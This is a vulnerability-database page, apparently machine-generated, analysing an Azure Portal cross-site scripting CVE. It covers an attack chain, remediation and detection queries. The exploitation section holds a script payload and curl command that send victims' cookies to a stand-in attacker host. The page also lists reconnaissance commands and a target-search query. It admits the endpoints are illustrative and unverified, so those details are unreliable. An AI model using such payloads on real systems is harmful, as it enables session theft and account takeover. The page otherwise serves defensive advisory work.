CVE Professor
/
All CVEs
CVE-2026-70305

CVE-2026-70305 — Microsoft Azure Portal (-) — CWE-79

CRITICAL CVSS 9.6 ⚡ EPSS 0.9% CVE.org

Improper neutralization of input during web page generation ('cross-site scripting') in Azure Portal allows an unauthorized attacker to perform spoofing over a network.

Improper neutralization of input during web page generation ('cross-site scripting') in Azure Portal allows an unauthorized attacker to perform spoofing over a network.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H/E:U/RL:O/RC:C
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction Required UI:R
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
EPSS — Exploit Prediction Scoring System
0.9%
30-day probability
In the 60. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑70305 is a client‑side Cross‑Site Scripting (XSS) flaw (CWE‑79) in the Microsoft Azure Portal.
The portal fails to properly neutralize user‑supplied input that is rendered in the portal’s HTML pages. Because the input is not escaped or filtered, an attacker can inject arbitrary JavaScript that executes in the context of any Azure Portal user who views the affected page.

The CVSS vector (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H) indicates:

  • No authentication is required – the flaw is exploitable by any unauthenticated network user who can reach the portal.
  • Low attack complexity – a simple HTTP request is sufficient.
  • User interaction required – the victim must open the malicious page (e.g., click a link or view a widget).
  • Client‑side impact – the vulnerability is resolved on the client side, but because the injected script runs with the victim’s privileges, it can lead to confidentiality, integrity, and availability compromise.
  • In practice, the flaw can be used for spoofing (e.g., tricking users into believing they are interacting with a legitimate portal page) and for session hijacking or credential theft if the attacker can capture the portal’s authentication tokens.


    ⚡ Attack Chain

    NOTE: The following chain uses illustrative endpoints and payloads. The Azure Portal’s exact API surface is not publicly documented in the CVE description, so the example demonstrates the class of attack rather than a verified exploit path.

    1. Discovery & Reconnaissance

    StepTechniqueWhat the attacker learns
    Domain enumerationnslookup, dig, subfinderIdentifies the Azure Portal subdomain (e.g., portal.azure.com or a tenant‑specific domain).
    Port & protocol scannmap -sV -p 443 <domain>Confirms HTTPS service and the TLS version.
    Banner grabbingopenssl s_client -connect <domain>:443Retrieves the server name and any application‑level headers that hint at the portal version.
    Application fingerprintingwhatweb, wappalyzerDetects “Microsoft Azure Portal” and the version string in the X-Azure-Portal-Version header or in a <meta> tag.
    Vulnerability scannikto, OpenVAS, or a custom XSS scannerSends a generic XSS payload (e.g., <script>alert(1)</script>) to known input fields (search bar, custom widget, comment box). A successful response that echoes the payload indicates the flaw.
    Result: The attacker confirms that the portal accepts unescaped input in at least one user‑editable field.

    2. Exploitation

    Illustrative example – injected script in a custom dashboard widget

    1. Target endpoint (illustrative): https://portal.azure.com/api/widgets/create
    2. Payload – a malicious JavaScript snippet that steals the portal’s authentication cookie and sends it to the attacker’s server:

    {
         "name": "StealthWidget",
         "content": "<script>fetch('https://attacker.com/steal', {method:'POST',body:document.cookie});</script>"
       }

    3. Execution – the attacker sends the payload via a simple curl command:

    curl -X POST "https://portal.azure.com/api/widgets/create" \
            -H "Content-Type: application/json" \
            -d '{"name":"StealthWidget","content":"<script>fetch(\"https://attacker.com/steal\",{method:\"POST\",body:document.cookie});</script>"}'

    4. Result – the portal stores the widget. When any authenticated user opens the dashboard, the script runs in their browser, exfiltrates the Azure-SSO cookie (or the portal’s session token), and sends it to the attacker.

    Why UI:R? The victim must view the dashboard for the script to execute. The attacker can lure them with a phishing link or a legitimate‑looking notification.

    3. Post‑Exploitation

    GoalTechniqueImpact
    Session hijackingUse stolen cookie to impersonate the victim in the portal.Full access to the victim’s Azure resources.
    Privilege escalationOnce inside, the attacker can create new service principals, modify RBAC roles, or add themselves to privileged groups.Elevates the attacker’s permissions to the level of the victim.
    Data exfiltrationUse the portal’s API to download storage blobs, VM snapshots, or database dumps.Compromise of sensitive data.
    PersistenceDeploy a malicious Azure Function or Web App that runs under the victim’s credentials.Long‑term foothold.
    Availability impactDelete or modify critical resources (e.g., VMs, load balancers).Disruption of services.
    Spoofing – The attacker can also modify the portal UI to display fake resource names or status indicators, leading users to make incorrect operational decisions.

    🌍 Real World Impact

    ImpactCVSS InterpretationPractical Consequence
    Confidentiality (C:H)The attacker can steal authentication tokens and read any data the victim can access.Unauthorized data access, exfiltration of secrets, logs, or customer data.
    Integrity (I:H)The attacker can modify portal UI, resource configurations, or RBAC settings.Misleading users, unauthorized resource changes, potential data corruption.
    Availability (A:H)The attacker can delete or disrupt resources.Service outages, downtime for critical workloads.

    Because the flaw is client‑side, the initial impact is limited to the victim’s browser. However, once the attacker obtains the victim’s session, the full range of Azure Portal capabilities becomes available, effectively turning the XSS into a full‑blown account takeover.


    🛡️ Remediation & Mitigation

    Affected Versions

    The CVE description does not list specific version numbers. Microsoft typically publishes a patch in the Azure Portal update stream. All Azure Portal instances older than the latest update (as of the CVE publication date) are considered vulnerable.

    Patch Recommendation

    1. Update the Azure Portal to the latest version.
    Azure Portal updates are rolled out automatically to all tenants; ensure that the tenant’s portal is not on a legacy or custom‑hosted instance that might lag behind.

    2. Verify the patch by checking the X-Azure-Portal-Version header or the portal’s footer for the new version string.

    Workarounds

    MitigationHow to ApplyNotes
    Content Security Policy (CSP)Add a CSP header that disallows inline scripts: Content-Security-Policy: default-src 'self'; script-src 'self';Requires control over the portal’s HTTP headers (possible via Azure Front Door or Azure Application Gateway).
    Input sanitizationDisable or restrict custom widgets, comments, or any user‑editable fields that accept HTML.If the portal allows disabling widgets, do so via the Azure Portal settings or via Azure Policy.
    WAF / ModSecurity ruleDeploy a rule that blocks <script> tags in POST bodies: SecRule REQUEST_BODY "@rx <script" "id:100001,phase:2,deny,msg:'XSS attempt'"Place the rule on Azure Front Door or Azure Application Gateway.
    Disable JavaScript in the browserInstruct users to use a browser extension that blocks inline scripts (e.g., NoScript).Not a scalable solution but can mitigate accidental exploitation.

    Detection

    IndicatorLog PatternHow to Detect
    Suspicious POST to widget APIPOST /api/widgets/create with content containing <script>Search Azure Activity Logs or Azure Monitor logs for the pattern.
    Exfiltration to external domainGET https://attacker.com/steal with Cookie headerUse Azure Sentinel or Azure Monitor to alert on outbound requests to unknown domains.
    Unexpected role changesPUT /subscriptions/.../providers/Microsoft.Authorization/roleAssignments/...Correlate with a prior XSS event.

    Sample Sentinel query (Kusto):

    AzureActivity
    | where OperationNameValue == "Microsoft.Authorization/roleAssignments/write"
    | where ActivityStatusValue == "Succeeded"
    | join kind=inner (
        AzureDiagnostics
        | where ResourceType == "Microsoft.Web/sites"
        | where OperationName == "POST"
        | where RequestBody contains "<script>"
    ) on SubscriptionId
    | project TimeGenerated, Caller, OperationNameValue, RequestBody, RoleAssignmentId

    ⚠️ Urgency

  • CVSS Score: 9.6 (Critical) – indicates a high likelihood of exploitation and severe impact.
  • Exploit Complexity: Low (simple HTTP request).
  • User Interaction Required: Yes, but the attacker can easily lure users with a phishing link or a legitimate‑looking notification.
  • CISA KEV Status: No – the vulnerability is not listed in the KEV database, but that does not reduce its severity.
Priority: Immediate. All Azure Portal tenants should verify that they are running the latest portal version and apply the patch as soon as possible. If a tenant is on a custom‑hosted portal or a legacy instance that cannot be updated immediately, implement the CSP and WAF mitigations listed above to reduce the risk until a patch can be applied.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Microsoft Azure Portal"
PoC & Exploit Intelligence (GitHub)
cveForge/CVE-2026-70305 Python 2026-11-24
PoC for CVE-2026-70305 — Azure Portal Stored XSS via Resource Tag (CVSS 9.6)
CVSS Score
9.6 / 10 · CVSS CRITICAL
Weakness Types (CWE)
Affected Products (1)
Microsoft:Azure Portal (-)
References & Advisories (1)
Related CVEs
10.0
CVE-2026-133300
Incorrect authorization in Azure Center for SAP Solutions allows an unauthorized attacker to execute code over
9.8
CVE-2026-139934
Microsoft Azure API Management contains an incorrect authorization vulnerability that allows an unauthenticate
9.6
CVE-2026-118743
Server-side request forgery in Microsoft Copilot allows an authorized attacker to elevate privileges over a ne
6.8
CVE-2026-69515
Improper input validation in Azure Portal allows an authorized attacker to elevate privileges over a network.
9.8
CVE-2026-105104
Use of hard-coded credentials in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlie
9.3
CVE-2026-144337
osTicket before 1.17.9 and 1.18.0 before 1.18.5 contains an unauthenticated stored cross-site scripting vulner
9.0
CVE-2026-145039
SiYuan before 3.8.11 contains a stored cross-site scripting vulnerability in the protyle asset picker's render